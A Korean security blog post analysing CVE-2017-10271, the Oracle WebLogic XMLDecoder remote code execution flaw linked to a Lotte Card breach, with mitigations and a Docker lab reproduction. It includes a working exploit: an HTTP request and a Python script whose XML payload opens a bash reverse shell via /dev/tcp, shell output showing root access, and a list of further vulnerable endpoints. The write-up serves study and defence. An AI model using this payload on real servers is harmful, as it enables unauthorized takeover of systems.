Home 롯데카드 해킹 - CVE-2017-10271
Post
Cancel

롯데카드 해킹 - CVE-2017-10271

롯데카드 해킹 사고 원인으로 밝혀진 CVE-2017-10271에 대해 알아봅시다.
취약점 재현을 통해 어떻게 공격이 들어오는지 알아봅시다.

Background

롯데카드는 ISMS-P 인증을 취득한지 얼마 되지 않았지만 해킹을 당해 1.7GB 정도의 온라인결제서버의 데이터가 유출되었다고 한다.
3개 서버에서 2종의 악성코드와 5종의 웹쉘(서버를 원격 조작하기 위해 심어놓는 악성 파일)을 발견이 되었다.
CVE-2017-10271로 RCE 공격에 당했다고 하여, 해당 CVE가 뭔지 어떻게 뚫린건지 궁금하여 재현을 해보았다.

CVE-2017-10271

CVE-2017-10271Oracle WebLogic Server 에서 발견된 취약점으로 공격자에게 RCE를 실행할 수 있는 취약점입니다.

취약점 매커니즘

이 취약점은 WebLogic Server의 WLS 웹 서비스 구성 요소에서 XML 처리 과정의 불충분한 입력값 검증으로 인해 발생합니다. 공격자는 특수하게 조작된 XML 요청을 통해 서버의 XML 파서를 속여 임의의 코드를 실행할 수 있습니다.

구체적인 취약점 발생 과정은 다음과 같습니다.

  1. 공격자는 WebLogic Server의 ‘/wls-wsat/CoordinatorPortType’ 엔드포인트로 악의적인 XML 페이로드를 포함한 HTTP POST 요청을 전송합니다.
  2. 이 XML 페이로드는 Apache XMLDecoder를 이용해 처리되는데, XMLDecoder는 Java 객체의 직렬화를 처리하는 과정에서 적절한 입력값 검증을 수행하지 않습니다.
  3. 결과적으로 공격자는 서버 측에서 임의의 Java 코드를 실행할 수 있게 되어 전체 시스템을 장악할 수 있습니다.

취약점 상세 분석

NSFOCUS 분석에 따르면 해당 취약점은 CVE-2017-3506 취약점의 패치에서 부터 시작됬습니다.

CVE-2017-3506 취약점의 패치를 보면 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java 파일에 "validate" 메서드가 추가되었습니다.

validate_function

해당 코드에서 XML 구문 분석 과정에서 Element 필드 값이 Object 이면 예외가 발생하는데 이 부분이 CVE-2017-10271이 발생하는 이유입니다.
new, method, void 사용에 제한을 두지 않아 해당 패치 우회가 가능합니다.
ex) objectvoid 변경 하는 방식이 일반적인 접근 방법, 역직렬화된 실행을 위해 키워드 new를 사용하여 PoC를 생성했습니다.

XMLDecoder 파싱 과정에서 코드가 실행될 수 있는 이유를 동적 분석을 통해 살펴보면 JdbcRowSetImpl 인스턴스가 생성되고, 인스턴스의 set메서드가 호출되어 속성을 초기화 수행합니다.
setAutoCommit 인터페이스가 호출된 후, 클래스가 원격으로 로드되고, dataSourceName값을 기반으로 초기화됩니다.

cve cve2 cve3

Attack Senario

  • 인증이 필요 없이 원격에서 취약한 WebLogic 서버를 대상으로 7001번 포트가 열린것을 확인 후 CVE 공격을 수행합니다.
  • 웹 쉘을 업로드하거나 시스템 명령을 실행하여 서버에 지속적인 접근을 확보할 수 있습니다.
  • 서버 장악 후 내부 네트워크로의 피벗 포인트로 활용하거나 추가 공격을 위한 발판으로 사용할 수 있습니다.

Mitigation

이 취약점에 대한 주요 대응 방안은 다음과 같습니다:

  • 패치 적용: Oracle에서 제공하는 보안 패치(Critical Patch Update)를 즉시 적용합니다.
  • WAF 구성: 웹 애플리케이션 방화벽을 구성하여 ‘/wls-wsat’ 경로로 들어오는 악의적인 요청을 차단합니다.
  • 네트워크 분리: WebLogic 관리 인터페이스를 인터넷에 직접 노출시키지 않도록 네트워크를 분리합니다.
  • 최소 권한 원칙: WebLogic Server가 최소한의 필요한 권한으로만 실행되도록 구성합니다.

이 취약점은 2017년 발견된 이후 많은 공격에 활용되었으며, 특히 랜섬웨어나 암호화폐 채굴 공격에 널리 사용되었습니다.
따라서 해당 버전의 WebLogic Server를 사용하는 조직은 즉시 보안 패치를 적용하는 것이 중요합니다.

패치 코드르 보면 object , new, method, void , array등의 필드 사용을 제한하는 것으로 수정되었습니다. patch

취약점 재현

Docker

docker-compose.yml 만들어서 docker-compose up -d 도커 실행

1
2
3
4
5
services:
 weblogic:
   image: vulhub/weblogic:10.3.6.0-2017
   ports:
    - "7001:7001"

PoC Code

POST Data 에 명령 실행 구문을 넣어 RCE가 가능함

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

PoC

python 코드를 통해 Reverse Shell 명령을 통해 서버을 장악

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

URL = "http://localhost:7001"
PATH = "/wls-wsat/CoordinatorPortType"

data = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.0.2/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
"""

res = requests.post(URL + PATH, data=data, headers={"Content-Type": "text/xml"})
print(res.status_code)

Result

1
2
3
4
5
6
7
8
9
10
11
12
Nmap>ncat.exe -lnvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.0.2.
Ncat: Connection from 192.168.0.2:13975.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@fa0d735d5121:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
<Middleware/user_projects/domains/base_domain# whoami
root
root@fa0d735d5121:~/Oracle/Middleware/user_projects/domains/base_domain#

Another Attack Point

해당 취약점은 /wls-wsat/CoordinatorPortType경로 이외에도 취약한 경로가 존재합니다.
다만 공격 형태의 패턴을 보면 /wis-wsat를 통해 공격하는 부분은 같습니다.

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Conclusion

뉴스 기사를 접하면서 CVE-2017-10271 외부에서 공격이 성공 할려면 oracle weblogic 서버의 WAS 포트(7001)를 접근해야 가능한데 내부 설정 미스인지, DMZ에 해당 서버가 올라가있는지에 대해서는 아직 밝혀진게 없어 추후에 공개된다면 더 자세하게 작성해야겠습니다.

요즘 들어 금융, 통신등 다양한 분야에서 해킹 사고가 계속 발생하는데 기업에선 보안에 예산을 사용하는 건 비용이 아닌 투자로 인식이 변화되었으면 하는 바램입니다.

ISMS-P 인증을 받고도 2주만에 해킹을 당하고, 정부에선 ISMS-P 인증을 강화한다고 한다.
보안실무자의 입장에선 물론 ISMS-P 인증을 받으면 보안에 도움은 되지만 외부 해킹 공격에 대해선 실효성이 있는지는 솔직히 잘 모르겠다.
ASM 관리 제도화, 버그바운티 상시 운영, 침투테스트 법제화등이 오히려 외부 서비스 해킹에 대한 방어를 하는 부분에 있어 효과성이 좋지 않을까라는 생각이 있다.

또한 해킹을 당하면 과징금이 매출액 3%로 징벌을 쌔게 하는 것도 좋지만 이럴 경우 오히려 해킹 피해 사실을 외부에 공개하기가 꺼려질 수 있을꺼같다.
보안을 잘하는 기업에겐 조금 더 이익을 주는 방안도 필요한거 같다.